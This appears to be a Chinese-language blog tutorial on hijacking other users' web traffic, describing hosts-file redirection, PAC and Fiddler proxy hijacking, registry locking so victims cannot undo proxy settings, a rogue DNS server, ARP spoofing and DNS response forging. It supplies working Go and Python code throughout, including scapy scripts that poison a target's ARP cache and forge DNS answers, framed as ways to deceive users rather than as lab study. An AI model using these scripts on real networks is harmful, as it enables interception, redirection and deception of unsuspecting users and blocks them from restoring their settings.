简介
本地劫持指的是通过修改电脑或设备的网络设置,将某个域名解析到指定的目标网站或服务器上,这样,当用户访问这个域名时,会自动跳转到事先设定的网站。这种行为可以用来重定向流量、欺骗用户或进行网络攻击。简单来说,就是别人访问某个网址,实际看到的页面是你控制的,达到了特定的目的,这就是域名劫持。
hosts劫持
修改 hosts 文件,添加对应的IP和自定义域名解析。
通过 ping 命令验证,域名已经解析到指定的内网IP地址,能够正常访问。
但当通过浏览器访问自定义的域名时,发现访问失败(可能是因为 hosts 只能指定内网IP,公网访问时无法生效)。

根据我发现,一些私服游戏使用 hosts 文件来实现劫持,可以直接访问。
现在的问题是,我们想通过 hosts 文件来访问并跳转到指定的网站。
可以这样做:
既然已经有权限修改 hosts 文件,为什么不在本地启动一个运行在 80 端口的服务?
然后,通过前端的 JS 脚本,自动跳转到指定的网站。
优点:
操作简单,不需要额外的服务器
可以在本地启动服务,直接访问指定的 HTTP 网站
缺点:
网址会变成内网IP,用户访问体验稍微受影响
只能访问 HTTP 网站,无法支持 HTTPS 等加密协议
C:\Windows\System32\drivers\etc\hosts # hosts文件路径WEB 服务
Go代码
package main
import (
"net/http"
)
func main() {
content := "<script>location.href='http://news.sohu.com/';</script>"
http.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) {
rw.Write([]byte(content))
})
http.ListenAndServe("0.0.0.0:80", nil)
}Python代码
from flask import *
app = Flask(__name__)
@app.route("/", methods=["GET"])
def Jump():
return '<script>location.href="http://news.sohu.com/";</script>'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)PAC代理劫持
PAC代理劫持非常简单,它利用浏览器的过滤规则来拦截指定的请求。这个方法只支持 HTTP 请求,需要服务器,但也可以不用服务器。
实现方法:
利用PAC脚本,可以在浏览器中设置代理,远程或本地修改劫持的链接。
如果使用本地路径,虽然无法远程修改,但能够直接控制劫持的网址。
优点:
支持局域网和公网
网址不会变,只是网页内容发生变化
只有访问被过滤的网址时才会触发代理
缺点:
只能支持 HTTP 网站,无法处理 HTTPS 请求
PAC脚本相关的详细文章可以参考: PAC脚本文章

PAC脚本
function FindProxyForURL(url, host) {
var HiJackList = [
'183.136.132.24',
'qytl.xiaohaibao.vip',
'qcsa.pktlsohu.com',
]
for (i = 0; i < HiJackList.length; i++) {
if (shExpMatch(host, HiJackList[i])) {
return "PROXY 113.20.101.128:80;";
}
}
return "DIRECT"
}现在的问题是,别人访问到服务器上的流量,但我希望将这些访问直接跳转到指定的页面,而网址不会改变。
可以使用 Fiddler 这个抓包工具来实现重定向规则,将所有访问指定的网址的流量都重定向到目标网站。
代理劫持
操作上差不多,主要是通过Fiddler的重定向规则来实现,但需要一些额外的设置。
实现方法:
使用Fiddler来设置重定向规则,将所有通过服务器访问的流量转向到目标网站。
为了支持HTTPS,需安装Fiddler的证书到客户端,才能让HTTPS流量也经过服务器进行重定向。

通过注册表限制对特定键的修改操作。
实现方法:
使用 regini lock.ini 命令(需要管理员权限),可以将注册表某个项设置为只读状态,防止任何修改。
这样即使尝试修改注册表,也不会生效,因为该项已被锁定为只读状态。
1 - Administrators 完全访问
2 - Administrators 只读访问
3 - Administrators 读和写入访问
4 - Administrators 读、写入、删除访问
5 - Creator 完全访问
6 - Creator 读和写入访问
7 - everyone 完全访问
8 - everyone 只读访问
9 - everyone 读和写入访问
10 - everyone 读、写入、删除访问
11 - Power Users 完全访问
12 - Power Users 读和写入访问
13 - Power Users 读、写入、删除访问
14 - System Operators 完全访问
15 - System Operators 读和写入访问
16 - System Operators 读、写入、删除访问
17 - System 完全访问
18 - System 读和写入访问
19 - System 只读访问
20 - Administrators 读、写、执行访问
21 - Interactive User 完全访问
22 - Interactive User 读和写入访问
23 - Interactive User 读、写入、删除访问lock.ini 内容
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings [2 8 19]
本地劫持
这个软件类似于Fiddler,可以在本地修改网站内容。用户可以通过安装插件来调用DLL文件,使用Go语言实现中间人功能。
推荐网站:sunny
可以下载模块调用DLL实现,类似于Fiddler的功能,支持HTTPS和HTTP网站。
使用视频教程: Bilibili视频教程
优点:
支持修改HTTPS和HTTP的网站
网址不会变,只是网页内容会发生变化
缺点:
暂无明显缺点,操作简单直观。
DNS劫持
可以在Windows Server上搭建一台DNS服务器,通过Go语言作为服务器部分处理DNS查询,Python作为查询库来解析没有的IP地址。
实现方法:
Go 负责接收DNS查询请求,并返回响应。
Python 负责解析没有缓存的IP地址,比如通过外部API或其他方式获取无法直接解析的IP。
启动DNS服务
Go代码
// Go 服务器
package main
import (
"encoding/json"
"fmt"
"io/ioutil"
"log"
"net"
"net/http"
"strconv"
"github.com/miekg/dns"
)
var domainsToAddresses map[string]string = map[string]string{
"rtex.com.cn.": "103.30.201.118",
"jameshfisher.com.": "103.30.201.118",
"www.free-proxy.com.": "148.72.168.34",
"us1.free-proxy.com.": "148.72.168.34",
"us2.free-proxy.com.": "148.72.169.80",
}
type handler struct{}
func (this *handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
msg := dns.Msg{}
msg.SetReply(r)
switch r.Question[0].Qtype {
case dns.TypeA:
msg.Authoritative = true
domain := msg.Question[0].Name
address, ok := domainsToAddresses[domain]
if !ok {
url2 := "http://www.ac.cn/dns?domain=" + domain
res, _ := http.Get(url2)
resp, _ := ioutil.ReadAll(res.Body)
fmt.Printf("%s", resp)
type DIP struct {
Domain string
IP string
}
var dip DIP
err := json.Unmarshal(resp, &dip)
if err != nil {
fmt.Println("error:", err)
}
domainsToAddresses[domain] = dip.IP
address = dip.IP
}
log.Println("domain:\t", domain, address, ok)
msg.Answer = append(msg.Answer, &dns.A{
Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},
A: net.ParseIP(address),
})
}
fmt.Println("------------------------------------------------------")
w.WriteMsg(&msg)
}
func main() {
srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"}
srv.Handler = &handler{}
if err := srv.ListenAndServe(); err != nil {
log.Fatalf("Failed to set udp listener %s\n", err.Error())
}
}Python代码
from flask import Flask, request, jsonify
import socket
app = Flask(__name__)
@app.route('/', methods=['GET'])
def hello_world():
d = {
'msg': '/dns?domain=xxx.xx'
}
return jsonify(d)
pass
@app.route('/dns', methods=['GET'])
def dns():
domain = request.args.get('domain', "")
rt = {}
rt['domain'] = domain
ip = ''
if domain:
try:
ip = socket.gethostbyname(domain)
except Exception as e:
print(e)
rt['error'] = str(e)
pass
rt['ip'] = ip
return jsonify(rt)
pass
if __name__ == '__main__':
app.run(debug=True)然后自定义dns地址就可以指定跳转了
ARP欺骗
ARP欺骗的原理很简单,就是伪装自己是网关,让所有的流量都通过你的机器。这样类似于Fiddler的过滤和修改原理,可以修改响应的数据并返回自定义的IP。
实现方法:
使用Kali Linux Python的scapy库来进行ARP欺骗。
通过欺骗将流量引导到你的机器,然后进行修改和返回自定义的IP地址。
效果:
通过欺骗网关,所有的流量都会经过你的机器,可以进行HTTP请求的修改。
可以修改HTTP响应,但目前仅支持HTTP,不支持HTTPS。
优点:
直接欺骗网关,能够控制所有流量
可以动态修改返回的数据
缺点:
只能支持HTTP,无法处理HTTPS请求。
Python代码
from scapy.all import *
import time
p1 = Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1")
for i in range(6000):
sendp(p1)
time.sleep(0.1)然后到服务打开这个服务,让流量成转发模式,不然对方就直接断网

Python 过滤代码
from scapy.all import *
import sys
# dns = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id标识 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归
def DNS_Spoof(data):
try:
# ip_fields = data.getlayer(IP).fields
# udp_fields = data.getlayer(UDP).fields
# dns_fields = data.getlayer(DNS).fields
# print(ip_fields)
# print(udp_fields)
# print(dns_fields)
req_domain = data[DNS].qd.qname
print(str(req_domain).split("'")[1])
print(str(data[IP].src))
print(str(data[IP].src) == '192.168.31.135')
print(str(req_domain) == 'www.baidu.com')
if str(data[IP].src) == '192.168.31.135':
# if str(req_domain).split("'")[1].find('baidu.com'):
print(str(req_domain))
del (data[UDP].len)
del (data[UDP].chksum)
del (data[IP].len)
del (data[IP].chksum)
res = data.copy()
res.FCfield = 2
res.src, res.dst = data.dst, data.src
res[IP].src, res[IP].dst = data[IP].dst, data[IP].src
res.sport, res.dport = data.dport, data.sport
res[DNS].qr = 1
res[DNS].ra = 1
res[DNS].ancount = 1
res[DNS].an = DNSRR(
rrname = req_domain,
type = 'A',
rclass = 'IN',
ttl = 900,
rdata = '220.220.220.220'
)
sendp(res)
else:
print('不是目标主机')
except Exception as e:
print(e)
def DNS_S(iface):
sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)
if __name__ == '__main__':
DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
评论 (0)